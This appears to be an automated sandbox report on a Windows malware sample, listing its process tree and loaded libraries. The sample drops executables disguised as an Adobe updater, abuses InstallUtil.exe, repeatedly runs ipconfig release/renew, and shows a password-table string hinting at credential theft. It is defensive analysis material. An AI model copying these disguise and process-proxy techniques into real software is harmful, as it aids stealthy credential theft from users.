
Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 6RE1Z857ae.exe

ReversingLabs: Detection: 45%

Source: C:\Users\user\Desktop\6RE1Z857ae.exe

File read: C:\Users\user\Desktop\6RE1Z857ae.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\6RE1Z857ae.exe "C:\Users\user\Desktop\6RE1Z857ae.exe"
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Process created: C:\Users\user\AppData\Local\Temp\build.exe "C:\Users\user\AppData\Local\Temp\build.exe"
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe "C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe "C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe "C:\Users\user\AppData\Local\Temp\Plain_Checker.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Users\user\AppData\Local\Temp\build.exe "C:\Users\user\AppData\Local\Temp\build.exe"
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Yftssfzf.exe "C:\Users\user\AppData\Roaming\Yftssfzf.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Yftssfzf.exe "C:\Users\user\AppData\Roaming\Yftssfzf.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Process created: C:\Users\user\AppData\Local\Temp\build.exe "C:\Users\user\AppData\Local\Temp\build.exe"	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe "C:\Users\user\AppData\Local\Temp\Plain_Checker.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Users\user\AppData\Local\Temp\build.exe "C:\Users\user\AppData\Local\Temp\build.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
